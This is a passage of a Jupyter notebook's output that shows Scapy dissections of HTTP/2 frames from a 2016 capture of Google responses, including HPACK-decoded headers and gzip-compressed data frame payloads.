data = 'HPackZString(sffe)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 28\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 3\n", " | | data = 'HPackZString(1494)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 0\n", " | \\hdr_name \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 12\n", " | | data = 'HPackZString(x-xss-protection)'\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 10\n", " | | data = 'HPackZString(1; mode=block)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 24\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 16\n", " | | data = 'HPackZString(public, max-age=691200)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 21\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 5\n", " | | data = 'HPackZString(472252)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 0\n", " | \\hdr_name \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 5\n", " | | data = 'HPackZString(alt-svc)'\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 28\n", " | | data = 'HPackZString(quic=\":443\"; ma=2592000; v=\"35,34\")'\n", "\n", "###[ HTTP/2 Frame ]### \n", " len = 0x5d6\n", " type = DataFrm\n", " flags = set(['End Stream (ES)'])\n", " reserved = 0L\n", " stream_id = 3L\n", "###[ HTTP/2 Data Frame ]### \n", " data = '\\x1f\\x8b\\x08\\x00\\x00\\tn\\x88\\x02\\xff\\xbcX{PTU\\x18?\\xa6\\x8d\\x89\\xa5\\xf4G\\xff5\\x13\\xf60\\xffh\\xcc1\\x11\\xc7L\\xb3\\x07>\\xffp\\x94\\x10L\\x1b\\xd3L+kF\\'\\xb5\\x19\\xc7Rg\\xc2\\xb4@KtD _\\x91\\x80\\x8e\\x82\\x8a\\xa8\\x83\\nhI\\xa9\\xa8\\x08B\\x98\\xaf|\\xdf]`\\xc1}\\xb0{\\xf7;\\xbf\\xe6\\\\\\xeee\\xee\\xde\\xbd\\x97\\xdd\\xb5\\xb53\\xf3\\rg\\xcf\\xfd\\xbe\\xefw\\xcew\\xbe\\xd7\\x81\\xb1n\\xec1\\x16\\x1b+\\xfe\\xc6\\xb1y=\\x18\\xeb\\xcf\\x18\\x8b\\x8b\\xeb\\xf8\\x9d\\x1f\\xcbXF\\x0f\\xc6\\x060\\xc6b\\xc5:\\xebXWF\\x0f\\x16r\\x00\\x18DD\\x1b\\x89\\xa8\\x81\\x88\\xbc*\\xd5\\x13Q&\\xe7|\\xa0\\x95\\x1c\\xe7\\xbc\\x17\\x11e!\\xc4 \\xa2\\r\\x00\\x9e0\\x91\\xad\\x10\\xdf}\\xe4\\xc5\\x81\\xbfvb\\xf1\\x91\\x19H\\xd95\\x1c)\\x85\\xc3\\xb1\\xf0P*v\\xd7\\xe5\\xa2]vk:\\x8e\\xebuh\\xb8v\\xd7},(M\\xc1\\x94\\xfc!\\xa6\\x94\\xb17\\x05\\xdcq\\xafs\\x1f\\xday\\x15\\\\\\xbf\\x17\\x0bJ\\xa7*|\\x02s\\xfb\\xf9\\x1fQ{\\xff\\x0c.I\\xd5(\\xac\\xcdF\\xd6\\x8e\\xf1p\\xa4\\x8d\\x86;w.\\xc0\\xb9\\xa2C\\xd8\\x83\\x886\\x89\\xf9\\xeaKg1\\xa1p,\\x92\\x0b\\x87\\xa1N\\xaa\\x0e>\\xf7\\x9d\\x068W%\\xc2\\xf9\\xed[\\xf07\\x9c\\xd0\\xf6\\x90ID\\x8db\\xfe\\xca\\xc9V<]\\xd6\\x84\\xf4\\x0bE\\x96\\xb6k\\xdf\\xb3R\\x91o/I\\xd7\\xe4\\xc5\\xbd\\xf8\\xc4<\\xe6\\xa8\\x8c\\xc7\\xcbd\\x94\\xd8x\\x80\\x8c\\xe07\\x92\\xe7\\xd7E\\x9a\\xbcW\\x93\\xef}\\xacC\\xfe\\xa0=\\x0c\\xf9\\xc2\\xa5z\\xf9\\xcbb\\x1e\\xff\\x87\\x1f1\\xfb\\xbc\\xf8\\xec\\x177\\xc2\\x1d\\xaa\\x8f)w\\xf7\\xd39\\x19\\t\\x93\\xed\\x18\\x96(\\xe1|\\xad\\xcf\\x84\\xd7T~#\\xe7|\\xb0\\x98{\\xbd\\x1c\\xc9\\xb3\\x9a\\x10\\xff\\xb6\\x84\\xd7\\xc7\\xd9\\xb0!\\xc7\\x89s5>\\\\\\xa8\\xf5ac\\xae\\x13\\x93?h\\xc2\\x8d\\x9b~\\xa3\\x8aA\\xaa\\xff\\xe4\\x8a\\x1f\\xf7$B\\xca\\xecfE\\x87\\x19\\xcd_\\xec\\xd0co\\xd2\\xc5L\\x0c\\x11\\x9d\\xd0\\xf6\\x91\\xb7\\xdb\\x8d\\x19\\x9f4c\\xc4x\\x1b\\x86\\x8f\\x910\\xed\\xe3fl/p)\\xdfT\\xd9\\n\\xe1\\xf3\\x86\\xb8\\x8b\\xd1\\xf6\\x11\\xc2fYFYC,\\r\\x16<\\xe2^\\xc4\\xdd\\xaa\\xd4\\xa8\\xfa\\xe9 #\\xbf\\xa3/c\\xe5\\xdd\\x19[\\xde\\xad\\x83B\\r\\x8dO\\xc8\\x08\\xd9\\x01j\\x8eyS\\x9fgb\\xd9C\\x0f\\xce\\xf9S\\x9c\\xf3\\xa9\\xea\\x19\\xaa\\x88H\\xd2\\xe5!I]\\x136H\\x06\\xf0$\\x8b\\xd2\\xe0\\x9c\\xbfHD9D\\xe4\\x8a\\xc0\\x7f]D\\xb4\\x99s\\xfe\\xc2\\x7f\\xc0\\x15\\xb9o\\r\\x11\\xc9x\\xc8\\xa1\\xde\\xf1*c^\\r\\xf3\\xcc5\\x88\\xd2 \\xa2\\xf3\\x00\\x9e\\x0f\\x07[\\xad3\\x92\\x99\\x1e\\xc9y\\x07{\\xeb\\xb7ae\\xf9|\\xcc)\\x1e\\xa7\\xe4\\xd4\\xe4\\x82\\x04\\xcc.J\\xc4\\xb2\\xa3s\\x90W\\xb3\\x01W\\x9b\\x1b\\xac\\xf6p\\x8fs\\xfej\\x18\\xe7\\x0e\\xc2\\xb6\\xb9\\xeeb\\xed\\xefK\\x91T0\\xd4\\xb2\\x86\\xe8\\xe9\\xebcsq\\xa5\\xb9\\xdet\\x0fVvP\\xe3\\xfc\\xa2Q\\xe6\\xe4\\x8d\\xc3\\x98\\xbe{dX\\xb8z\\x12v)\\xae\\xc9\\xb6\\xba\\x8b \\x7f \\xa2\\xef\\x8d\\xbc\\xc5\\r;\"\\xc6\\xd5hf^<\\xfe\\xcc\\x18\\to\\xc5\\x16\\xb3=\\xac2\\xd8\\xfd%\\xa3\\x9fW^/\\xb5\\xd4\\xfd\\xc5\\xc1$l\\xa9NGic!\\x0e]\\xde\\xa5\\xdc\\xfb\\xd2\\xb2\\x8f\\x90\\x94\\x1f\\xaf|_\\xb25\\x017W\\x8f\\xee\\xacKZ]\\xd5\\xc7\\x85>6\\x8d\\xf9U\\xf8\\xd9\\xfb&6\\x9f\\xbbo\"\\xce\\xdc\\xae\\xb4\\xf4\\xf3\\xeb-\\x8d\\xc8/\\x9e\\x8dVC]t\\xadK\\x02\\xf7\\xba\\x8d{\\xd8\\xac\\x9e\\xbd\\x0f\\x11\\x05|\\\\yjm\\x10\\xf6\\xa2\\xc3\\xd3\\xd1\\xe6u\\x84\\x0e6\\xbf\\x0f\\x9e\\x9dK\\x82j\\xb3\\xaf\\xaa (G\\x89<\\xc99O\\xd5\\xaf_ss\\xf4*s\\xe3\\xb5\\xa2\\xb4N\\xecYE\\x89h\\xf1\\xd8\\xc3\\x8ew\\xeey\\xa0\\x9cY\\x8f\\xef\\xce\\x9a\\x19\\xcc\\xc7y\\xb2\\xc8\\xad\\xfa\\xb5\\xef\\xae\\x91\\xd2o\\x08\\xeaW\\xb2\\x1f\\x93\\xf2G\\xa0\\xecJQ\\xc49\\xc7w*?\\xc8\\x06\\xdcq7\\xa8f\\x12\\xd1i\\xfd\\xda\\x98j\\x7f\\'\\xbe\\xa0\\x81\\x95\\xb7 \\x93/\\xf2\\x9c\\']\\r\\xc2\\x97\\xeb+\\x8c\\xf8\\xa2f\\x05\\x18\\xf6\\xd9J9\\x00?\\xa5\\xc6\\xdf%\\x8eY\\x1ffE\\xbe\\xaaB#\\xbe\\xa4\\xf5y\\xda\\xe8y4\\x10\\x7f\\xd9\\xdf\\x145|c.\\xd0\\xf7\\x99\\xff\\x07\\xbe\\xef\\xb7<3\\xfc\\xa6\\xae\\xec\\x9fz1z\\xf6\\x97\\xeb\\x8e\\x9b\\xd9?\\xc0\\xff\\x12\\xcf\\x06\\xfa_\\xbf=^\\xc82\\x1e\\xc9P\\xfd/ \\xfe\\xd2t\\xf1\\xf7\\xccz\\x17\\x86\\x8c\\xb3a\\xff!\\xcf\\xa3\\xc2\\x17\\xfd\\xda4\\xfd\\xda\\x157G\\xcf\\xc32\\xe2\\x96\\xb4v\\xf6\\xd7c\\xdf\\xb3\\xa3\\xd9AQ\\xc7\\x17\\xfd$\\x80\\xbeD\\x14p\\xc0\\xcf\\xd79\\x83z\\xfc\\x0f\\xe7\\xb7\\xa0\\xad\\x8d\\x87\\xd4\\xe9t\\xf1\\xb0{D\\xd1\\xd3\\xaa\\xf5\\' 0n\\xdd\\xf1\\xe3\\x8d\\xf1\\xb6\\xa0=L\\x9a\\xde\\x84\\xaa3^K\\x9d\\xa7N{11\\xc5\\x8e\\x1f2\\x1f\\x84\\x83\\x9f\\xa3\\xab\\xbf/\\x13Q\\x80\\xa3\\x97\\x1c\\xf1X\\xbewR\\xe74c}\\xb6\\x13{\\x0ex\\xb0\\xb7\\xc4\\x83\\xccl\\xa7\\xf2\\x96\\xd1\\xf3\\xa4e\\xb4i\\xcfa3lY\\xf4Z\\x86\\xfe#\\xdd\\xc8\\xb7u\\xa7\\xcbr\\x0f\\xe1\\xd0\\x8a5mV\\xf8kLz\\xbf\\xdeDTg\\xe4\\x15v\\x189\\xc1\\x161\\xf6\\xa8\\x896\\x1c9\\xden\\x86]c\\xf5N\\xe3\\x9c\\xf7\\'\"\\x9bQ\\xe6\\xf6]?\\xbeZ\\xd1\\x8a\\xa1\\xef\\x84\\xc6\\x15<\\x8b\\xbfiUdL\\xb0%\\xa3\\xdd-\\xde\\x8963\\xbb\\t\\xbf\\xfc9\\xcf\\x85O\\xbft(1)\\xde\\xe4\\t\\xefJH\\x9cb\\xc7\\xbc\\x85-\\xd8\\xbc\\xcd\\x85\\x7fn\\xf9\\xadl.\\x99\\xbd3\\xbb\\xb0C]\\x14\\xf3LM\\xa8s[\\xf4\\xe3\\xe9\\xc6\\xb8\\x88\\x10W\\x16}uW\\xef\\xf20l!bs\\x8b1G\\x85\\xc0u\\x8b\\x9eV\\xf4\\xd5Q|\\x07\\xf7\\x11\\xb9Z}\\x0b\\x9f\\x16uS\\xf7\\x7f\\x04\\xbb\\xba\\x96#\\xfaI\\xc1\\x1b\\xb6\\x9d\\xcb\\xbb\\x03\\x8c\\xc1\\xcf\\xd8\\xa8v\\xc6\\x9es0\\xd6\\xf7:c=\\xcb\\x19\\xeb.h9c\\xdd\\x04E\\xba_MN\\xd3#t\\n\\xdd\\x02C`\\tL\\x81\\xfdo\\x00\\x00\\x00\\xff\\xff\\xc6\\xf9Yo6\\x15\\x00\\x00'\n" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\n", "###[ HTTP/2 Frame ]### \n", " len = 0x8\n", " type = PingFrm\n", " flags = set([])\n", " reserved = 0L\n", " stream_id = 0L\n", "###[ HTTP/2 Ping Frame ]### \n", " opaque = 0\n", "\n", "###[ HTTP/2 Frame ]### \n", " len = 0x167\n", " type = HdrsFrm\n", " flags = set(['End Headers (EH)'])\n", " reserved = 0L\n", " stream_id = 1L\n", "###[ HTTP/2 Headers Frame ]### \n", " \\hdrs \\\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 8\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 33\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 22\n", " | | data = 'HPackZString(Tue, 13 Dec 2016 17:34:51 GMT)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 36\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Literal\n", " | | len = 2\n", " | | data = 'HPackLiteralString(-1)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 24\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 13\n", " | | data = 'HPackZString(private, max-age=0)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 31\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 22\n", " | | data = 'HPackZString(text/html; charset=ISO-8859-1)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 0\n", " | \\hdr_name \\\n", " | |###[ HPack Header String ]### \n", " | | type = Literal\n", " | | len = 3\n", " | | data = 'HPackLiteralString(p3p)'\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 81\n", " | | data = 'HPackZString(CP=\"This is not a P3P policy! See https://www.google.com/support/accounts/answer/151657?hl=en for more info.\")'\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 78\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 54\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Literal\n", " | | len = 3\n", " | | data = 'HPackLiteralString(gws)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 28\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 3\n", " | | data = 'HPackZString(4420)'\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 72\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 0\n", " | \\hdr_name \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 11\n", " | | data = 'HPackZString(x-frame-options)'\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 9\n", " | | data = 'HPackZString(SAMEORIGIN)'\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 55\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 165\n", " | | data = 'HPackZString(NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly)'\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 71\n", "\n", "###[ HTTP/2 Frame ]### \n", " len = 0x122b\n", " type = DataFrm\n", " flags = set(['End Stream (ES)', 'Padded (P)'])\n", " reserved = 0L\n", " stream_id = 1L\n", "###[ HTTP/2 Padded Data Frame ]### \n", " padlen = 230\n", " data = '\\x1f\\x8b\\x08\\x00\\x00\\x00\\x00\\x00\\x02\\xff\\xc5:\\xebz\\xdb\\xb6\\x92\\xff\\xfb\\x144\\xfcU\\x96\\xd6\\xb4DR7R4\\x9d\\x93:n\\xe2n\\xda\\xa4\\'\\xc9I\\xcf\\xa6\\xa9>\\x90\\x84(\\xc6\\xbc\\x99\\x00e;\\xb2\\xdem\\x1fg\\xf3\\x16;\\x03^D\\xc9N\\xd2o\\xff\\xec\\x97DC\\x003\\x03\\xcc\\x053\\x03 \\xa7\\x07~\\xea\\x89\\xbb\\x8c)K\\x11Gg\\xa7\\xf8\\xab\\x84\\x82\\xc5\\xdcK3\\xe6\\x10\"\\x1b\\x88\\xe0\\x90\\xa5\\x10\\xd9l0\\xe0\\xde\\x92\\xc5\\xb4\\x9f\\xe6\\xc1\\xe0=s_\\xd3\\x80\\x11%\\xa2I\\xe0\\x90EN\\x80\\x03\\xa3\\xfe\\xd9i\\xcc\\x04U\\xbc4\\x11,\\x11\\x0e\\x11\\xecV\\x0c\\x90\\xb5\\xadxK\\x9as&\\x9cwo\\x7f>1\\x89\\x82\\x8bA\\x18\\xc3L|\\xe0\\xe64\\xf1\\xc3$\\x18\\x04i\\x1aD,\\x18\\xe8\\xb7\\xf5\\xe7\\x9c\\x0b\\x18\\xa3\\xb9?\\xf7\\xd2(\\xcd\\xe7\\xbaa\\xfaY?K\\x82R\\x88,O3\\x87H6\\xc0]\\x84\"bg\\xcf%\\xe5\\xe9\\xa0l\\x9dr/\\x0f3q\\xd6]\\x14\\x89\\'\\xc24\\xe9\\xf6\\xd67a\\xe2\\xa77\\xfdr\\ng}uq9;z\\xf5\\xf9\\xe7\\xdf\\xdf\\xff2?y9z\\xf5_\\xf4ul%\"xu\\xa4^]\\xfc\\xf1\\x1a\\x06\\xa7cmj\\xe8\\xaa>\\x1c\\xeb\\x966T\\x87SM3FCu\\xa4\\x19\\x96\\xa9\\x8f\\x01\\x0e\\x8d\\xc9t\\x8a\\xd0\\xd4t\\x03\\xe0H7-\\x0b\\xe1pd\\xc9\\xf6\\xd8\\x1c\\xe9\\x08\\xcd\\xe1\\x08\\xf1\\xc6\\xe3\\xe9\\x08\\xe9&\\xc6d2A8\\x9e\\x9a\\xd8?\\x99\\x9a\\x13\\r\\xa19\\x1eKh\\x99C\\xb3\\x84\\x92~jL4C\\xc2\\xe9\\x14\\xe9\\xa7C\\xe0%\\xe1\\xd40%\\xb4\\xc68/p\\xb7\\xa6\\x12Zc9>\\xd1\\xac\\x12ZC\\xbd\\x84r}Ss$\\xf9\\x03\\x1cO$\\x9cNF\\x08-]\\x93mk4\\x92\\xf3Y\\xb0R\\tM\\xab\\x1c\\xb7\\xc6\\x08A\\xdc\\t\\xcec\\xea\\xda\\xb0\\x86\\xc8\\xd744\\xc9\\xcf4\\xf4\\xc9XBC\\x97\\xe3\\xc6D\\x97\\xe3\\xa0\\x069>\\x02\\rJ8\\x94\\xfa4a\\xbd\\xb2\\x7f\\xac\\x8d%\\xfexbH8\\xd1t]B\\xc3\\xd2$4\\'\\x12\\x7f:\\xd5%\\xfd\\xd4\\x92\\xfa7\\x91a\\t\\x87\\x93\\x12\\x8e\\xe4\\xb89)\\xf9[\\x9aV\\xc2R>\\xd3\\x1a\\x96\\xeb\\xb6\\x86\\xa3\\xb2=2\\xe5<\\xd6X\\xea\\xc5\\xb4&V\\xd9?\\x1d\\xe9\\x15D\\xfe\\xc0\\xc6\\x9cH8\\x1c\\x1b\\x12\\x8e4\\xbd\\x84\\xd2\\xae\\x16hf\\xa2\\x9aCM\\xd3\\xac\\x12\\x1aSC\\xc2\\xd1\\xd4TA\\xba\\xc9\\x04\\xfc\\x06\\xe0t\\x08\\xf3!\\x1c\\x81^\\x10\\x9ac\\xb3\\x84\\x96l\\x9b\\xda\\xb8\\x82\\x13\\x89o\\x8eA~\\x84\\x16\\xe8\\x07\\xa0\\x05\\x9c$D\\x7f\\xd45\\x03&4\\x87\\xe8\\xa8\\xf0a\\x18G*-\\xc4\\xb2\\xe0,\\x9fi\\xea\\x15\\xf7\\xf8\\xec\\xc8\\xb3\\x04(\\x91B\\xe8j8\\xc4\\xd1Cr\\x05\\x97\\xdb`\\xdc\\xb40\\xa8\\xea\\xf6\\xd6\"\\xbf[7\\xd4\\xdd\\x8b<\\x071iO=\\xd0ap\\x03\\xf3x\\xcb\\xae\\xd7[o\\x1a\\x06\"\\x8c\\xd9\\xc3I\\xba\\t\\xbbQ\\x9eQ\\xc1z(\\xfd[\\xc0\\xe9\\xf6\\x1a\\x92(\\rv&U=\\xd5W\\x83\\xde\\x9a:[\\x84wy\\xd4\\x1a\\xb2\\xc3E\\x97\\x90\\x03\\x07\\xd4\\x0e\\xea\\x06\\xd6\\x97\\x18\\x84mT?k\\x88F\\x1e\\xbde\\xc0\\xdc\\x8fE\\xe6\\xd1WT~$K\\x8a\\x90q(\\xbdi\\xc4\\x99\\xed\\x83l1\\x1c=\\xfa8CU\\x1a+\\x8e\\xf2\\xf0\\xe2\"Q:\\x1d\\xa5\\xfe\\xeeb\\xb9\\xa1t\\x1b\\xe2r\\xb2\\xde\\xba\\xa9\\xc9\\xbb=Y\\xeb\\xc2?{\\xf3\\x03\\xa2\\x1e\\xe0\\x9cP_\\xd7\\x14\\x8bNg\\xfb\\xdd\\xbf\\xeeK\\x1d\\x03\\xdb\\xa63p\\xaf\\xdb8\\xd8l\\xa1m~\\x80?xn\\xdc*\\xde\\x0fWJ\\x085g\\x9c\\x04.9S\\xea6&\\xd4\\xb3\\xd3$u\\xe1\\xd7U\\xbc\\x88r\\x0e}\\xfa\\xd9?\\x99\\x07Q\\r\\xfe\\x9d\\x0e\\\\\\xc0\\xa6\\xdb\\xa1\\xcaz\\xe5\\xf1j0\\xb8\\xb9iJ\\xf9E\\x0ej\\r\\x96\\xd9\\x93%TsyGP\\x17j3r&%\\xe6\\xa7\\x03\\xfaM>1$\\x8d\\x16#l\\xb6\\xf9D\\xe4\\xecW\\xe8\\xfa\\x1e\\x17\\xdc~5\\x17/\\x8d\\x07m\\x16&9{\\r\\xc3\\xdfc\\x81\\x02\\xdd\\x817\\x17n\\xc5\"\\x88\\x9c\\x9f\\xffY\\xb2\\xd0\\xc9\\xd9\\xbf\\xd3\\xe2-\\x0c}\\x8f\\x0b\\x98\\xba-Nr\\xc3w\\xf5\\x02\\xce\\xfb\\xd4\\x13\\x05l3\\xf1\\xe5o\\xe8&\\x8c\\xdaRa{\\xf0D\\xf2\\x89\\xc9\\xd9sl~\\x8f\\x85\\x9f\\xc3\\xfe\\xdd\\xd1\\x8c$O\\xc9\\xd93\\x1cyH.7py\\xa5\\xb8\\x1f\\xdd\\xc9\\xb7] \\x11\\xd1\\x00`\\x9a!\\x01\\x1f\\xc0N,@\\xf1\\x05HY\\x9c)\\x9d\\x9c^\\x17\\xa9\\x8d\\xf3\\x9d\\x0eJ\\xb7\\x1b\\x80+6\\xfe)\\x0bXE\\x16\\x01\\x0e\\xd6\\x8c\\xb5o\\xf2\\x8c&\\xa5\\xbf&\\xcd\"C\\x8c+\\xd0\\xdf\\x1e]4\\xa3\\x8bGFY\\xd3G[2<\\x10\\x01\\x0e\\x17\"\\xcd\\xefP\\x04p\\x84\\xd2l\\xa4a<:{!\\xc7\\xc3\\xeb\\x82)\\xef\\x99+uw\\x8f\\xda\\xab\\x03[\\x06\\x80\\xe5,\\xf1\\x18\\x7fH\\xfc\\x9a\\xe64\\xfe\\x1f\\x91W[B\\x12\\n\\x08\\xd2L8s\\x88\\xb7\\xe5B\\xe7SmO\\xc9\\xd4\\xf3 \\xee\\n\\xde\\xb6\\xe1\\x1b\\x96\\xafB\\x8f\\xbdL!\\xc2W\\xce\\x95\\xc14`OG\\xe4\\x05\\xeb\\xe0\\xadn\\x98\\x14\\xccy\\xdcR\\xedU\\x9d\\xa7I\\xc2n\\xc1`\\x8f[\\xa6F\\\\V~!\\xd3\\xae\\xf6-\\x8c\\xb2\\x90\\xafQ\\x94\\n\\xd3c\\x98\\xa0 \\xd4\\xc0\\x19,\\x82\\x93\\x93C\\xe00@d`\\x8a\\x82\\xcc\\'\\xdb8\\x15\\x05\\xb4jU\\x9eX\\x97\\x9d\\x86\\xacw\\x15H\\xf9\\xbb\\xe3uu\\xabkM\\x15iL\\'\\x98\\xe2\\x1f\\xcf\\xb6{7\\xdc\\x98\\x05\\xb6\\x97\\xdc\\xd8\\x9a\\xdf,\\xa1@\\x9ao\\xc9\\xab\\xfbncj\\xdcZFy\\xe5\\xddS\\x92\\xf4\\xa4\\xcc\\xceD\\x91\\xb7\\xdb\\x0e)/\\xbb\\x89\"S(\\x08\\x02\\xaa*%\\\\f\\xc8\\x96(\\xd5\\r\\x0bi\\x0e\\xaeQ\\xa7\\x03?\\xdd\\xde\\xae@U~\\x9fN\\xa7\\xed\\xdafR\\x97:\\xed\\xba\\xba9~A\\x92\\xa4\\x98\\xa9\\xe5\\xf1k\\x8a\\x9a\\x90\\x962\\xb0r&\\xb0\\xd6\\x9b\\x9cf\\x0e!g?\\x83\\xf0\\x1e\\xab\\x8c\\xd2\\xfe\\xdd\\x9a\\x1dO\\x08\\n\\x95i\\xce\\xa9\\x8f\\xb9\\xc0\\x82\\xc6\\xb04L\\xaf\\x10?\"\\xa6x,\\x8a*\\xcb8D#\\xb2\\r;\\xcc\\xab\\xda\\x80\\x96+\\xabJ\\x13\\xb0&\\xec\\xf0\\xab\\xedM\\x8c\\xf1\\x8f\\xe4\\xac\\x93\\xb8<\\x83x |9T\\xa1\\x96~\\xd2^\\xf1\\xa9,\\xbc\\xab\\xf9CP/p\\x05\\xcf&\\x97o^\\x9d\\x98\\xe6\\xd8:\\xd1\\xc1\\x00\\xe5\\xfbI\\xe8\\xfb,i(*<\\xdc\\x84%\\xf12\\xfa\\nf9\\xcc\\xd3\"\\xf7\\xd8\\x1eJ\\xcde\\x99\\xeda\\xbb\\xe1\\xcd7\\xb9\\xb9\\xe1\\xf2\\xc1\\xf8v\\xbb\\x10\\x9f\\x93=\\xff\\x1dn\\x0f\\xc3x\\xdeP\\xb4\\x86\\xe1\\xae[`\\xd9\\xd7\\xd4v\\xf5\\xde\\x18\\xd7\\xc7A\\x05\\xdd\\xe4a1\\x07NY\\xe0\\xddg\\x9c\\xe1=\\x9eCR(\\x94\\xea\\xa5@)\\xd7\\x88\\xd9\\xf8rS\\x06(\\xb5W\\xc7\\xf46bI \\xed\\xa7\\x8d\\xccZ\\xa9\\xd7 \\x07\\xf8\\xa7C\\xc6S\\xb2\\xf5\\xa5z\\xcd\\xed\\xe3\\'\\n$#\\xf2V\\x05\\xbb\\x1dXd7Bo\\xfb\\x9a\\xc5=\\\\S\\xa5j\\x91<\\xafu\\xcd\\x0b7\\x0e\\x05i\\xc2};\\x13\\xfc_\\xe7\\xfd\\xe5\\x88\\x86\\x8a\\xcf\\x94\\x88\\xe2\\xebZ\\xe2\\xb5\\'\\xbe\\xc4]\\xedE\\xa1w\\x05\\xce\\xb9\\x90\\xd7S}\\xdc@P\\x93I\\xea\\x9e\\xec\\x815{W\\xccwt[aP]*`\\x91\\xe6\\xda\\njR?M\\xfd\\x08\"\\xd3\\xd1w\\xa4\\xa8\\xf7J\\xb5F8\\xda\\xe1qi/\\xe04;gg\\xb75yo@\\xfd\\x15\\xca\\xe0\\xcf\\xab\\x0b\\xac2}\\xd08\\xb3\\xeb\\xf7\\t\\x07,\\xb5\\xd55E\\xf4/\\xb2P\\xd82\\xc1\\xf7\\xc8\\x02\\xa2)$\\xae4\\xe2_\\xe1\\xf1\\xaa\\x10a\\xc4\\x15\\xf0\\x81\\xa0\\x80\\xc4\\x89i\\x93\\x97Y\\x06\\xe5\\x18\\x08\\x8c82\\x98\\xd4\\xba\\xc7X\\x19\\xb8\\xabZ\\xbd\\xf2\\xf3\\xd1\\xdd\\xa8\\xa3jP\\xcd\\xdb\\xb4\\x817\\x1e\\x1c\\xf3\\x1ei\\'\\xa7\\xca\\r\\xb7a\\xd4\\x1c\\xfeh\\xc7p|\\xac7\\x1d^8\\x91v\\xf4\\xabk\\x06\\xa0I1\\x12}\\x85\\x0f$\\x1b\\xb1;V\\xedI\\xdd\\xc2\\xe3\\x15l\\xb6\\xf6u[\\x1d\\xd5$_\\xc8{-M\\xd6U\\x13\\xf5\\xb1bz\\x83whX=)Y\\xe1\\x82W\\x85\\x82\\x86U\\xc1\\xb0%\\xe1e\\xf6\\xdf\\xc5\\xf7\\x8f`\\x0eHHy\\xc8wm\\xb5\\xad\\x90\\x8b\\x9d\\x1aB\\xd7&\\x96\\xa6\\x8f\\xcc\\x89i\\xe2\\x83\\x98\\xa1\\x19\\xa6aT\\xa7-99_\\xa2\\xf8\\xc7\\xf5\\x13.}l\\xd1.\\x94I}|x&g\\xff\\xad\\xe0\\x03p\\xcaq\\xa7{\\xe25x\\x17\\x11C0\\xf3\\xe4\\xe1Y\\xa5\\x8e\\xdf\\x87\\x08\\t=\\xf5\\xd4u\\xbb\\x9a\\x96v:n\\xa7\\xd3\\xa5\\x07\\xceV\\xae\\xbe\\x94\\xe6\\xfe\\xde\\xdd\\xe9,e\\xdd\\xbe\\x88@Y\\xd5%D\\xc5\\xbf\\x83\\x92%\\xbe\\xbb<\\xe9T\\x8f.\\x90\\xa3\\xabW\\x17\\xc8\\xc6\\xf2\\xd5e\\xf7\\xed\\xe7\\xea\\xe2\\xb2\\xb7\\xf7\\xb2\\xf0\\x95\\xc3\\xf3\\xed\\'\\xee\\x93\\xbd\\x13\\x0bv\\x86\\x8f_7\\xd4\\x9f\\x8a\\xd7u\\x1b\\xa3\\xf1\\xf2\\xa5\\x0fv\\xccC\\x035\\xe7y/\\x87\\x8a\\x92U\\x1a\\xec\\x92\\x927\\xe9\\xd9T\\xde\\x1b\\xb8\\xad{\\x00V\\xeb\\xf9\\xa7\\xbbK\\xbf[\\xae\\xb